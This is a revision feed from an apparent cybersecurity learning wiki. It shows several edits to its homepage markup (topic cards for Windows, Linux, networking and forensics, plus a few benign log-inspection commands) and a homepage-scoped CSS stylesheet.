		<link rel="alternate" type="text/html" href="https://wikicyber.org/index.php?title=Main_Page&amp;diff=282"/>
		<updated>2026-10-16T19:21:35Z</updated>

		<summary type="html">&lt;p&gt;AdminUser: Main Page: remove icons from the topic cards&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__NOTOC__&lt;br /&gt;
&amp;lt;div class=&amp;quot;wc-home&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;wc-hero&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;h1&amp;gt;Understand systems.&amp;lt;br /&amp;gt;&amp;lt;span&amp;gt;Build your defenses.&amp;lt;/span&amp;gt;&amp;lt;/h1&amp;gt;&lt;br /&gt;
&amp;lt;p class=&amp;quot;wc-intro&amp;quot;&amp;gt;A clear, practical reference for learning cybersecurity. Explore operating systems, secure networks, and the evidence that tells their stories.&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;wc-actions&amp;quot;&amp;gt;[[#wc-topics|&amp;lt;span class=&amp;quot;wc-primary&amp;quot;&amp;gt;Explore the knowledge base →&amp;lt;/span&amp;gt;]] [[Special:AllPages|Browse articles ↗]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;wc-values&amp;quot;&amp;gt;&amp;lt;span&amp;gt;✓ Open knowledge&amp;lt;/span&amp;gt;&amp;lt;span&amp;gt;✓ Practical guidance&amp;lt;/span&amp;gt;&amp;lt;span&amp;gt;✓ Community contributions&amp;lt;/span&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;wc-topics&amp;quot; id=&amp;quot;wc-topics&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;p class=&amp;quot;wc-eyebrow&amp;quot;&amp;gt;FIND YOUR STARTING POINT&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;h2&amp;gt;Explore by topic&amp;lt;/h2&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;wc-grid&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;wc-card&amp;quot;&amp;gt;&amp;lt;h3&amp;gt;[[:Category:Windows|Windows]]&amp;lt;/h3&amp;gt;&amp;lt;p&amp;gt;Accounts, policies, PowerShell, and the foundations of a secure Windows system.&amp;lt;/p&amp;gt;&amp;lt;div class=&amp;quot;wc-card-link&amp;quot;&amp;gt;[[:Category:Windows|Explore Windows →]]&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;wc-card&amp;quot;&amp;gt;&amp;lt;h3&amp;gt;[[:Category:Linux|Linux]]&amp;lt;/h3&amp;gt;&amp;lt;p&amp;gt;Understand permissions, audit services, and get comfortable at the command line.&amp;lt;/p&amp;gt;&amp;lt;div class=&amp;quot;wc-card-link&amp;quot;&amp;gt;[[:Category:Linux|Explore Linux →]]&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;wc-card&amp;quot;&amp;gt;&amp;lt;h3&amp;gt;[[:Category:Cisco|Cisco &amp;amp;amp; networking]]&amp;lt;/h3&amp;gt;&amp;lt;p&amp;gt;Connect the concepts behind networks, from the OSI model to device security.&amp;lt;/p&amp;gt;&amp;lt;div class=&amp;quot;wc-card-link&amp;quot;&amp;gt;[[:Category:Cisco|Explore networking →]]&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;wc-card&amp;quot;&amp;gt;&amp;lt;h3&amp;gt;[[:Category:Windows Forensics|Digital forensics]]&amp;lt;/h3&amp;gt;&amp;lt;p&amp;gt;Follow the evidence through event logs, system artifacts, and careful analysis.&amp;lt;/p&amp;gt;&amp;lt;div class=&amp;quot;wc-card-link&amp;quot;&amp;gt;[[:Category:Windows Forensics|Explore forensics →]]&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;wc-feature&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;p class=&amp;quot;wc-eyebrow&amp;quot;&amp;gt;A CLOSER LOOK&amp;lt;/p&amp;gt;&amp;lt;h2&amp;gt;Start with the evidence.&amp;lt;/h2&amp;gt;&amp;lt;p&amp;gt;Explore forensic concepts and learn how system artifacts can help explain what happened.&amp;lt;/p&amp;gt;[[:Category:Windows Forensics|Explore the forensics collection →]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;wc-terminal&amp;quot;&amp;gt;&amp;lt;div class=&amp;quot;wc-terminal-label&amp;quot;&amp;gt;linux&amp;lt;/div&amp;gt;&amp;lt;pre&amp;gt;# Establish a starting point&lt;br /&gt;
$ journalctl --since today&lt;br /&gt;
$ last -a&lt;br /&gt;
$ ss -tulpn&amp;lt;/pre&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;wc-contribute&amp;quot;&amp;gt;&amp;lt;h2&amp;gt;Good knowledge grows together.&amp;lt;/h2&amp;gt;&amp;lt;p&amp;gt;WikiCyber articles are written by invited contributors and published through a review workflow.&amp;lt;/p&amp;gt;[[Help:Your first article|Writing your first article →]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;/div&gt;</summary>
		<author><name>AdminUser</name></author>
	</entry>
	<entry>
		<id>https://wikicyber.org/index.php?title=Main_Page&amp;diff=281</id>
		<title>Main Page</title>
		<link rel="alternate" type="text/html" href="https://wikicyber.org/index.php?title=Main_Page&amp;diff=281"/>
		<updated>2026-10-15T22:12:57Z</updated>

		<summary type="html">&lt;p&gt;AdminUser: Protected &amp;quot;Main Page&amp;quot; ([Edit=Allow only administrators] (indefinite) [Move=Allow only administrators] (indefinite))&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__NOTOC__&lt;br /&gt;
&amp;lt;div class=&amp;quot;wc-home&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;wc-hero&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;h1&amp;gt;Understand systems.&amp;lt;br /&amp;gt;&amp;lt;span&amp;gt;Build your defenses.&amp;lt;/span&amp;gt;&amp;lt;/h1&amp;gt;&lt;br /&gt;
&amp;lt;p class=&amp;quot;wc-intro&amp;quot;&amp;gt;A clear, practical reference for learning cybersecurity. Explore operating systems, secure networks, and the evidence that tells their stories.&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;wc-actions&amp;quot;&amp;gt;[[#wc-topics|&amp;lt;span class=&amp;quot;wc-primary&amp;quot;&amp;gt;Explore the knowledge base →&amp;lt;/span&amp;gt;]] [[Special:AllPages|Browse articles ↗]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;wc-values&amp;quot;&amp;gt;&amp;lt;span&amp;gt;✓ Open knowledge&amp;lt;/span&amp;gt;&amp;lt;span&amp;gt;✓ Practical guidance&amp;lt;/span&amp;gt;&amp;lt;span&amp;gt;✓ Community contributions&amp;lt;/span&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;wc-topics&amp;quot; id=&amp;quot;wc-topics&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;p class=&amp;quot;wc-eyebrow&amp;quot;&amp;gt;FIND YOUR STARTING POINT&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;h2&amp;gt;Explore by topic&amp;lt;/h2&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;wc-grid&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;wc-card&amp;quot;&amp;gt;&amp;lt;span class=&amp;quot;wc-icon wc-blue&amp;quot; aria-hidden=&amp;quot;true&amp;quot;&amp;gt;⊞&amp;lt;/span&amp;gt;&amp;lt;h3&amp;gt;[[:Category:Windows|Windows]]&amp;lt;/h3&amp;gt;&amp;lt;p&amp;gt;Accounts, policies, PowerShell, and the foundations of a secure Windows system.&amp;lt;/p&amp;gt;&amp;lt;div class=&amp;quot;wc-card-link&amp;quot;&amp;gt;[[:Category:Windows|Explore Windows →]]&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;wc-card&amp;quot;&amp;gt;&amp;lt;span class=&amp;quot;wc-icon wc-green&amp;quot; aria-hidden=&amp;quot;true&amp;quot;&amp;gt;&amp;amp;gt;_&amp;lt;/span&amp;gt;&amp;lt;h3&amp;gt;[[:Category:Linux|Linux]]&amp;lt;/h3&amp;gt;&amp;lt;p&amp;gt;Understand permissions, audit services, and get comfortable at the command line.&amp;lt;/p&amp;gt;&amp;lt;div class=&amp;quot;wc-card-link&amp;quot;&amp;gt;[[:Category:Linux|Explore Linux →]]&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;wc-card&amp;quot;&amp;gt;&amp;lt;span class=&amp;quot;wc-icon wc-blue&amp;quot; aria-hidden=&amp;quot;true&amp;quot;&amp;gt;⌘&amp;lt;/span&amp;gt;&amp;lt;h3&amp;gt;[[:Category:Cisco|Cisco &amp;amp;amp; networking]]&amp;lt;/h3&amp;gt;&amp;lt;p&amp;gt;Connect the concepts behind networks, from the OSI model to device security.&amp;lt;/p&amp;gt;&amp;lt;div class=&amp;quot;wc-card-link&amp;quot;&amp;gt;[[:Category:Cisco|Explore networking →]]&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;wc-card&amp;quot;&amp;gt;&amp;lt;span class=&amp;quot;wc-icon wc-green&amp;quot; aria-hidden=&amp;quot;true&amp;quot;&amp;gt;◎&amp;lt;/span&amp;gt;&amp;lt;h3&amp;gt;[[:Category:Windows Forensics|Digital forensics]]&amp;lt;/h3&amp;gt;&amp;lt;p&amp;gt;Follow the evidence through event logs, system artifacts, and careful analysis.&amp;lt;/p&amp;gt;&amp;lt;div class=&amp;quot;wc-card-link&amp;quot;&amp;gt;[[:Category:Windows Forensics|Explore forensics →]]&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;wc-feature&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;p class=&amp;quot;wc-eyebrow&amp;quot;&amp;gt;A CLOSER LOOK&amp;lt;/p&amp;gt;&amp;lt;h2&amp;gt;Start with the evidence.&amp;lt;/h2&amp;gt;&amp;lt;p&amp;gt;Explore forensic concepts and learn how system artifacts can help explain what happened.&amp;lt;/p&amp;gt;[[:Category:Windows Forensics|Explore the forensics collection →]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;wc-terminal&amp;quot;&amp;gt;&amp;lt;div class=&amp;quot;wc-terminal-label&amp;quot;&amp;gt;linux&amp;lt;/div&amp;gt;&amp;lt;pre&amp;gt;# Establish a starting point&lt;br /&gt;
$ journalctl --since today&lt;br /&gt;
$ last -a&lt;br /&gt;
$ ss -tulpn&amp;lt;/pre&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;wc-contribute&amp;quot;&amp;gt;&amp;lt;h2&amp;gt;Good knowledge grows together.&amp;lt;/h2&amp;gt;&amp;lt;p&amp;gt;WikiCyber articles are written by invited contributors and published through a review workflow.&amp;lt;/p&amp;gt;[[Help:Your first article|Writing your first article →]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;/div&gt;</summary>
		<author><name>AdminUser</name></author>
	</entry>
	<entry>
		<id>https://wikicyber.org/index.php?title=Main_Page&amp;diff=280</id>
		<title>Main Page</title>
		<link rel="alternate" type="text/html" href="https://wikicyber.org/index.php?title=Main_Page&amp;diff=280"/>
		<updated>2026-10-15T22:12:24Z</updated>

		<summary type="html">&lt;p&gt;AdminUser: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__NOTOC__&lt;br /&gt;
&amp;lt;div class=&amp;quot;wc-home&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;wc-hero&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;h1&amp;gt;Understand systems.&amp;lt;br /&amp;gt;&amp;lt;span&amp;gt;Build your defenses.&amp;lt;/span&amp;gt;&amp;lt;/h1&amp;gt;&lt;br /&gt;
&amp;lt;p class=&amp;quot;wc-intro&amp;quot;&amp;gt;A clear, practical reference for learning cybersecurity. Explore operating systems, secure networks, and the evidence that tells their stories.&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;wc-actions&amp;quot;&amp;gt;[[#wc-topics|&amp;lt;span class=&amp;quot;wc-primary&amp;quot;&amp;gt;Explore the knowledge base →&amp;lt;/span&amp;gt;]] [[Special:AllPages|Browse articles ↗]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;wc-values&amp;quot;&amp;gt;&amp;lt;span&amp;gt;✓ Open knowledge&amp;lt;/span&amp;gt;&amp;lt;span&amp;gt;✓ Practical guidance&amp;lt;/span&amp;gt;&amp;lt;span&amp;gt;✓ Community contributions&amp;lt;/span&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;wc-topics&amp;quot; id=&amp;quot;wc-topics&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;p class=&amp;quot;wc-eyebrow&amp;quot;&amp;gt;FIND YOUR STARTING POINT&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;h2&amp;gt;Explore by topic&amp;lt;/h2&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;wc-grid&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;wc-card&amp;quot;&amp;gt;&amp;lt;span class=&amp;quot;wc-icon wc-blue&amp;quot; aria-hidden=&amp;quot;true&amp;quot;&amp;gt;⊞&amp;lt;/span&amp;gt;&amp;lt;h3&amp;gt;[[:Category:Windows|Windows]]&amp;lt;/h3&amp;gt;&amp;lt;p&amp;gt;Accounts, policies, PowerShell, and the foundations of a secure Windows system.&amp;lt;/p&amp;gt;&amp;lt;div class=&amp;quot;wc-card-link&amp;quot;&amp;gt;[[:Category:Windows|Explore Windows →]]&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;wc-card&amp;quot;&amp;gt;&amp;lt;span class=&amp;quot;wc-icon wc-green&amp;quot; aria-hidden=&amp;quot;true&amp;quot;&amp;gt;&amp;amp;gt;_&amp;lt;/span&amp;gt;&amp;lt;h3&amp;gt;[[:Category:Linux|Linux]]&amp;lt;/h3&amp;gt;&amp;lt;p&amp;gt;Understand permissions, audit services, and get comfortable at the command line.&amp;lt;/p&amp;gt;&amp;lt;div class=&amp;quot;wc-card-link&amp;quot;&amp;gt;[[:Category:Linux|Explore Linux →]]&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;wc-card&amp;quot;&amp;gt;&amp;lt;span class=&amp;quot;wc-icon wc-blue&amp;quot; aria-hidden=&amp;quot;true&amp;quot;&amp;gt;⌘&amp;lt;/span&amp;gt;&amp;lt;h3&amp;gt;[[:Category:Cisco|Cisco &amp;amp;amp; networking]]&amp;lt;/h3&amp;gt;&amp;lt;p&amp;gt;Connect the concepts behind networks, from the OSI model to device security.&amp;lt;/p&amp;gt;&amp;lt;div class=&amp;quot;wc-card-link&amp;quot;&amp;gt;[[:Category:Cisco|Explore networking →]]&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;wc-card&amp;quot;&amp;gt;&amp;lt;span class=&amp;quot;wc-icon wc-green&amp;quot; aria-hidden=&amp;quot;true&amp;quot;&amp;gt;◎&amp;lt;/span&amp;gt;&amp;lt;h3&amp;gt;[[:Category:Windows Forensics|Digital forensics]]&amp;lt;/h3&amp;gt;&amp;lt;p&amp;gt;Follow the evidence through event logs, system artifacts, and careful analysis.&amp;lt;/p&amp;gt;&amp;lt;div class=&amp;quot;wc-card-link&amp;quot;&amp;gt;[[:Category:Windows Forensics|Explore forensics →]]&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;wc-feature&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;p class=&amp;quot;wc-eyebrow&amp;quot;&amp;gt;A CLOSER LOOK&amp;lt;/p&amp;gt;&amp;lt;h2&amp;gt;Start with the evidence.&amp;lt;/h2&amp;gt;&amp;lt;p&amp;gt;Explore forensic concepts and learn how system artifacts can help explain what happened.&amp;lt;/p&amp;gt;[[:Category:Windows Forensics|Explore the forensics collection →]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;wc-terminal&amp;quot;&amp;gt;&amp;lt;div class=&amp;quot;wc-terminal-label&amp;quot;&amp;gt;linux&amp;lt;/div&amp;gt;&amp;lt;pre&amp;gt;# Establish a starting point&lt;br /&gt;
$ journalctl --since today&lt;br /&gt;
$ last -a&lt;br /&gt;
$ ss -tulpn&amp;lt;/pre&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;wc-contribute&amp;quot;&amp;gt;&amp;lt;h2&amp;gt;Good knowledge grows together.&amp;lt;/h2&amp;gt;&amp;lt;p&amp;gt;WikiCyber articles are written by invited contributors and published through a review workflow.&amp;lt;/p&amp;gt;[[Help:Your first article|Writing your first article →]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;/div&gt;</summary>
		<author><name>AdminUser</name></author>
	</entry>
	<entry>
		<id>https://wikicyber.org/index.php?title=Main_Page&amp;diff=279</id>
		<title>Main Page</title>
		<link rel="alternate" type="text/html" href="https://wikicyber.org/index.php?title=Main_Page&amp;diff=279"/>
		<updated>2026-10-15T22:05:57Z</updated>

		<summary type="html">&lt;p&gt;AdminUser: Roll out redesigned WikiCyber homepage&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__NOTOC__&lt;br /&gt;
&amp;lt;div class=&amp;quot;wc-home&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;wc-hero&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;h1&amp;gt;Understand systems.&amp;lt;br /&amp;gt;&amp;lt;span&amp;gt;Build your defenses.&amp;lt;/span&amp;gt;&amp;lt;/h1&amp;gt;&lt;br /&gt;
&amp;lt;p class=&amp;quot;wc-intro&amp;quot;&amp;gt;A clear, practical reference for learning cybersecurity. Explore operating systems, secure networks, and the evidence that tells their stories.&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;wc-actions&amp;quot;&amp;gt;[[#wc-topics|&amp;lt;span class=&amp;quot;wc-primary&amp;quot;&amp;gt;Explore the knowledge base →&amp;lt;/span&amp;gt;]] [[Special:AllPages|Browse articles ↗]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;wc-values&amp;quot;&amp;gt;&amp;lt;span&amp;gt;✓ Open knowledge&amp;lt;/span&amp;gt;&amp;lt;span&amp;gt;✓ Practical guidance&amp;lt;/span&amp;gt;&amp;lt;span&amp;gt;✓ Community contributions&amp;lt;/span&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;wc-topics&amp;quot; id=&amp;quot;wc-topics&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;p class=&amp;quot;wc-eyebrow&amp;quot;&amp;gt;FIND YOUR STARTING POINT&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;h2&amp;gt;Explore by topic&amp;lt;/h2&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;wc-grid&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;wc-card&amp;quot;&amp;gt;&amp;lt;span class=&amp;quot;wc-icon wc-blue&amp;quot; aria-hidden=&amp;quot;true&amp;quot;&amp;gt;⊞&amp;lt;/span&amp;gt;&amp;lt;h3&amp;gt;[[:Category:Windows|Windows]]&amp;lt;/h3&amp;gt;&amp;lt;p&amp;gt;Accounts, policies, PowerShell, and the foundations of a secure Windows system.&amp;lt;/p&amp;gt;&amp;lt;div class=&amp;quot;wc-card-link&amp;quot;&amp;gt;[[:Category:Windows|Explore Windows →]]&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;wc-card&amp;quot;&amp;gt;&amp;lt;span class=&amp;quot;wc-icon wc-green&amp;quot; aria-hidden=&amp;quot;true&amp;quot;&amp;gt;&amp;amp;gt;_&amp;lt;/span&amp;gt;&amp;lt;h3&amp;gt;[[:Category:Linux|Linux]]&amp;lt;/h3&amp;gt;&amp;lt;p&amp;gt;Understand permissions, audit services, and get comfortable at the command line.&amp;lt;/p&amp;gt;&amp;lt;div class=&amp;quot;wc-card-link&amp;quot;&amp;gt;[[:Category:Linux|Explore Linux →]]&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;wc-card&amp;quot;&amp;gt;&amp;lt;span class=&amp;quot;wc-icon wc-blue&amp;quot; aria-hidden=&amp;quot;true&amp;quot;&amp;gt;⌘&amp;lt;/span&amp;gt;&amp;lt;h3&amp;gt;[[:Category:Cisco|Cisco &amp;amp;amp; networking]]&amp;lt;/h3&amp;gt;&amp;lt;p&amp;gt;Connect the concepts behind networks, from the OSI model to device security.&amp;lt;/p&amp;gt;&amp;lt;div class=&amp;quot;wc-card-link&amp;quot;&amp;gt;[[:Category:Cisco|Explore networking →]]&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;wc-card&amp;quot;&amp;gt;&amp;lt;span class=&amp;quot;wc-icon wc-green&amp;quot; aria-hidden=&amp;quot;true&amp;quot;&amp;gt;◎&amp;lt;/span&amp;gt;&amp;lt;h3&amp;gt;[[:Category:Windows Forensics|Digital forensics]]&amp;lt;/h3&amp;gt;&amp;lt;p&amp;gt;Follow the evidence through event logs, system artifacts, and careful analysis.&amp;lt;/p&amp;gt;&amp;lt;div class=&amp;quot;wc-card-link&amp;quot;&amp;gt;[[:Category:Windows Forensics|Explore forensics →]]&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;wc-feature&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;p class=&amp;quot;wc-eyebrow&amp;quot;&amp;gt;A CLOSER LOOK&amp;lt;/p&amp;gt;&amp;lt;h2&amp;gt;Start with the evidence.&amp;lt;/h2&amp;gt;&amp;lt;p&amp;gt;Explore forensic concepts and learn how system artifacts can help explain what happened.&amp;lt;/p&amp;gt;[[:Category:Windows Forensics|Explore the forensics collection →]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;wc-terminal&amp;quot;&amp;gt;&amp;lt;div class=&amp;quot;wc-terminal-label&amp;quot;&amp;gt;linux · investigation&amp;lt;/div&amp;gt;&amp;lt;pre&amp;gt;# Establish a starting point&lt;br /&gt;
$ journalctl --since today&lt;br /&gt;
$ last -a&lt;br /&gt;
$ ss -tulpn&amp;lt;/pre&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;wc-contribute&amp;quot;&amp;gt;&amp;lt;h2&amp;gt;Good knowledge grows together.&amp;lt;/h2&amp;gt;&amp;lt;p&amp;gt;WikiCyber articles are written by invited contributors and published through a review workflow.&amp;lt;/p&amp;gt;[[Help:Your first article|Writing your first article →]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;/div&gt;</summary>
		<author><name>AdminUser</name></author>
	</entry>
	<entry>
		<id>https://wikicyber.org/index.php?title=MediaWiki:Common.css&amp;diff=278</id>
		<title>MediaWiki:Common.css</title>
		<link rel="alternate" type="text/html" href="https://wikicyber.org/index.php?title=MediaWiki:Common.css&amp;diff=278"/>
		<updated>2026-10-15T22:05:56Z</updated>

		<summary type="html">&lt;p&gt;AdminUser: Add styling scoped to Main Page only&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
&lt;br /&gt;
/* BEGIN WikiCyber homepage v1 */&lt;br /&gt;
/* WikiCyber homepage v1. All rules are scoped to Main Page; no global theme changes. */&lt;br /&gt;
body.page-Main_Page .wc-home {&lt;br /&gt;
  --wc-surface: var(--background-color-base, #fff);&lt;br /&gt;
  --wc-text: var(--color-base, #202c3b);&lt;br /&gt;
  --wc-muted: var(--color-subtle, #647184);&lt;br /&gt;
  --wc-line: var(--border-color-subtle, #dfe5ed);&lt;br /&gt;
  --wc-blue: #2855b2;&lt;br /&gt;
  --wc-green: #24783a;&lt;br /&gt;
  --wc-tint: #eef3fc;&lt;br /&gt;
  --wc-green-tint: #edf7ef;&lt;br /&gt;
  color: var(--wc-text);&lt;br /&gt;
  font-family: Arial, Helvetica, sans-serif;&lt;br /&gt;
  line-height: 1.8;&lt;br /&gt;
}&lt;br /&gt;
body.page-Main_Page .wc-home h1,&lt;br /&gt;
body.page-Main_Page .wc-home h2,&lt;br /&gt;
body.page-Main_Page .wc-home h3 { font-family: inherit; color: var(--wc-text); border: 0; padding: 0; line-height: 1.25; letter-spacing: -.025em; overflow: visible; }&lt;br /&gt;
body.page-Main_Page .wc-home .mw-heading { border: 0; margin: 0; }&lt;br /&gt;
body.page-Main_Page .wc-home .mw-editsection { display: none; }&lt;br /&gt;
body.page-Main_Page .wc-home a { color: var(--wc-blue); }&lt;br /&gt;
body.page-Main_Page .wc-home a:focus-visible { outline: 3px solid var(--wc-blue); outline-offset: 4px; }&lt;br /&gt;
body.page-Main_Page .wc-hero { border: 1px solid var(--wc-line); border-radius: 10px; padding: 40px 36px 0; background: radial-gradient(ellipse at 100% 0%, var(--wc-green-tint), transparent 65%), var(--wc-surface); }&lt;br /&gt;
body.page-Main_Page .wc-hero h1 { font-size: clamp(32px, 4vw, 49px); margin: 0 0 22px; font-weight: 750; letter-spacing: -1.5px; }&lt;br /&gt;
body.page-Main_Page .wc-hero h1 span { color: var(--wc-blue); }&lt;br /&gt;
body.page-Main_Page .wc-intro { max-width: 570px; color: var(--wc-muted); font-size: 15px; }&lt;br /&gt;
body.page-Main_Page .wc-actions { display: flex; align-items: center; gap: 22px; flex-wrap: wrap; margin: 26px 0 32px; font-size: 12px; font-weight: bold; }&lt;br /&gt;
body.page-Main_Page .wc-actions p { display: contents; }&lt;br /&gt;
body.page-Main_Page .wc-primary { display: inline-block; background: #2855b2; color: #fff; padding: 11px 17px; border-radius: 5px; }&lt;br /&gt;
body.page-Main_Page .wc-actions a:hover .wc-primary { background: #214a9d; }&lt;br /&gt;
body.page-Main_Page .wc-values { border-top: 1px solid var(--wc-line); padding: 15px 0; display: flex; gap: 24px; flex-wrap: wrap; font-size: 11px; color: var(--wc-muted); }&lt;br /&gt;
body.page-Main_Page .wc-values p { display: contents; }&lt;br /&gt;
body.page-Main_Page .wc-topics { padding-top: 32px; scroll-margin-top: 25px; }&lt;br /&gt;
body.page-Main_Page .wc-home .wc-eyebrow { color: var(--wc-muted); font-size: 10px; font-weight: bold; letter-spacing: 1.7px; margin: 0 0 9px; }&lt;br /&gt;
body.page-Main_Page .wc-home h2 { margin: 0 0 20px; font-size: 26px; }&lt;br /&gt;
body.page-Main_Page .wc-grid { display: grid; grid-template-columns: repeat(2, minmax(0, 1fr)); gap: 15px; }&lt;br /&gt;
body.page-Main_Page .wc-card { display: flex; flex-direction: column; padding: 24px; border: 1px solid var(--wc-line); border-radius: 8px; background: var(--wc-surface); transition: border-color .15s; }&lt;br /&gt;
body.page-Main_Page .wc-card:hover { border-color: var(--wc-blue); }&lt;br /&gt;
body.page-Main_Page .wc-card h3 { margin: 17px 0 10px; font-size: 20px; }&lt;br /&gt;
body.page-Main_Page .wc-card h3 a { color: var(--wc-text); }&lt;br /&gt;
body.page-Main_Page .wc-card p { color: var(--wc-muted); font-size: 13px; margin: 0 0 15px; }&lt;br /&gt;
body.page-Main_Page .wc-icon { display: inline-grid; place-items: center; width: 37px; height: 37px; border-radius: 8px; font: bold 22px monospace; }&lt;br /&gt;
body.page-Main_Page .wc-blue { color: var(--wc-blue); background: var(--wc-tint); }&lt;br /&gt;
body.page-Main_Page .wc-green { color: var(--wc-green); background: var(--wc-green-tint); }&lt;br /&gt;
